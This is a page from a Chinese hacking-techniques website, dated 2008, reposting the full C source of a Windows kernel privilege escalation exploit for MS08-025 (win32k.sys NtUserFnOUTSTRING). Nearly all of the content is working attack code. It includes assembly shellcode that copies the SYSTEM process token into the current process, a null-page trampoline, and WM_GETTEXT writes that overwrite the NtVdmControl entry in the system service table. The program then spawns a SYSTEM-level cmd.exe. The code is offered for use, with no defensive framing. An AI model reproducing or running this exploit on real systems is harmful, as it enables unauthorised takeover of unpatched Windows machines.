首页  登陆  注册  博客集  下载频道  网络硬盘  学院论坛  家园
IT学院 网站地图 网站地图
收藏本站 收藏本站
高级搜索 高级搜索
 新闻IT新闻 互联网 微软 黑客新闻 网络网络协议 故障 网络管理 TCP/IP 无线技术 解决方案 黑客技术 漏洞 软件评测 安全资讯
 数据MSsql Oracle Mysql PL/SQL 备份 系统:Linux vista Windows FTP 防火墙 注册表 服务器行情 服务器应用 解决方案 WEB服务器
 墙纸风景壁纸 游戏壁纸 体育壁纸 汽车壁纸 人文壁纸 影视壁纸 广告壁纸 花卉壁纸 节日壁纸 动漫壁纸 明星壁纸 绘画壁纸 月历壁纸
当前位置: > 主页>网络攻防>黑客技术>MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit
热门文章排行
 
热门文章排行 XSS测试语句大全
反击黑客从这里开始
加密三剑客SSL、SET和PG
攻破网络的十二种常用方
sa弱口令强行入侵
Win2000 Server入侵监测
域名欺骗技术实现过程
通用密码后门
UNIX系统后门的安放和日
后门技术及rootkit工具-
精采文章推荐
 
精采文章推荐 小规模DDoS(拒绝服务)用
打造简单隐藏疯狂DDOS攻
用ASP实现反向连接控制
使用perl通过adsi接口导
详细讲解黑客常用的远程
二行代码解决全部网页木
判断cookies注入的js语
Metasploit渗透工具的应
利用Debug Api 获得QQ20
BBSXP绕过过滤继续注入
最新更新文章
 
最新更新文章 PERL铸造多线程+支持中
看黑客怎样汇编创建简单
破解数据库下载漏洞
利用sohu网站URL跳转漏
xdos.exe攻击器下载与使
DDoS攻击教程(3)
DDoS攻击教程(2)
DDoS攻击教程(1)
DOS攻击原理以及常见方
小规模DDoS(拒绝服务)用

MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit

编辑:   来源:  日期:2008-04-19   我要投稿      家园

MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit
另一种利用方式,通过覆盖SSDT表NtVdmControl的地址进行shellcode的执行
#include <stdio.h>
#include <windows.h>

typedef LONG NTSTATUS;
typedef NTSTATUS (NTAPI *PNTALLOCATE)(HANDLE ProcessHandle,
 PVOID *BaseAddress,
 ULONG ZeroBits,
 PULONG RegionSize,
 ULONG AllocationType,
 ULONG Protect );
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
void ErrorQuit(char *msg)
{
 printf("%s:%x\n", msg, GetLastError());
 ExitProcess(0);
}
ZWVDMCONTROL ZwVdmControl=NULL;
OSVERSIONINFOEX OsVersionInfo;

_declspec(naked) int ShellCode()
{

 if ( OsVersionInfo.dwMinorVersion == 1 ) {

 __asm {

 nop
 nop
 nop
 nop
 nop
 nop

 mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
 Mov eax,[eax]

 mov esi,[eax+0x220]
 mov eax,esi

searchXp:

 mov eax,[eax+0x88]
 sub eax,0x88
 mov edx,[eax+0x84]
 cmp edx,0x4 // Find System Process
 jne searchXp

 mov eax,[eax+0xc8] // 获取system进程的token
 mov [esi+0xc8],eax // 修改当前进程的token

 ret 8

 }
 }
 if ( OsVersionInfo.dwMinorVersion == 2 ) {

 __asm {

 nop
 nop
 nop
 nop
 nop
 nop

 mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
 Mov eax,[eax]

 mov esi,[eax+0x220]
 mov eax,esi

search2003:

 mov eax,[eax+0x98]
 sub eax,0x98
 mov edx,[eax+0x94]
 cmp edx,0x4 // Find System Process
 jne search2003

 mov eax,[eax+0xd8] // 获取system进程的token
 mov [esi+0xd8],eax // 修改当前进程的token
 ret 8

 }
 }

}

void InitTrampoline()
{

 PNTALLOCATE NtAllocateVirtualMemory;
 LPVOID addr = (LPVOID)3;
 DWORD dwShellSize=0x1000;
 unsigned char trampoline[]="\x68\x00\x00\x00\x00" //push 0x0
 "\xc3"; // retn

 NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");

 if( !NtAllocateVirtualMemory )
 exit(0);

 NtAllocateVirtualMemory( (HANDLE)-1,
 &addr,
 0,
 &dwShellSize,
 MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
 PAGE_EXECUTE_READWRITE );

 if( (PULONG)addr )
 {
 printf("\n[++] Error Allocating memory\n");
 exit(0);
 }

 *(PULONG*)(trampoline+1)=(PULONG)ShellCode;
 memcpy(NULL,trampoline,sizeof(trampoline)-1);
}
int Callback_Overview()
{
 printf("\n");
 printf("===================================================================== \n");
 printf("\t\tMicrosoft Windows XP SP2 - MS08-025 - \n");
 printf("\twin32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit \n");
 printf("===================================================================== \n");
 printf("+ References:\n");
 printf(" http://www.microsoft.com/technet/security/bulletin/ms08-025.mspx\n");
 printf(" http://hi.baidu.com/vessial\n\n");
 return 1;
}

void GetFunction()
{
 HANDLE hNtdll,hNtos;
 
 hNtdll = LoadLibrary("ntdll.dll");
 if(hNtdll == NULL)
 ErrorQuit("LoadLibrary failed.\n");
 
 ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
 if(ZwVdmControl == NULL)
 ErrorQuit("GetProcAddress failed.\n");
 
 FreeLibrary(hNtdll);
}
int main(int argc, char **argv)
{

 //PULONG PntVdmControl=0x805F0DB0;
 char* PntVdmControl=0x80502460; //通过*(PULONG)(KeServiceDescriptorTalbe)+0x10c*4获得
 
 
 STARTUPINFOA stStartup;
 PROCESS_INFORMATION pi;

 Callback_Overview();
 GetFunction();
 RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
 OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
 GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

 if ( OsVersionInfo.dwMajorVersion != 5 ) {

 printf( "Not NT5 system\n" );
 ExitProcess( 0 );
 }
 //Get Operatiny System Version
 
 InitTrampoline();

 SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, (char*)PntVdmControl );
 SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, (char*)PntVdmControl+2);
 printf("\n[+] Executing Shellcode...\n");

 ZwVdmControl(0, NULL);
 GetStartupInfo( &stStartup );

 CreateProcess( NULL,
 "cmd.exe",
 NULL,
 NULL,
 TRUE,
 NULL,
 NULL,
 NULL,
 &stStartup,
 &pi ); //此时创建的cmd.exe是SYSTEM权限

 
 printf("[+] Exiting...\n");

 return TRUE;
}



上一篇:使用perl通过adsi接口导出AD帐户列表  
下一篇:用ASP实现反向连接控制
 关键字:  
文章评论】 【收藏本文】 【推荐好友】 【打印本文】 【论坛讨论

   相关文章:

   文章评论:(0条)
  
 请留名: 匿名评论   点击查看所有评论
 

  责任编辑:IT学院  声明:刊登此文章是为了传递更多信息,文章内容仅供参考,转载请注明出处。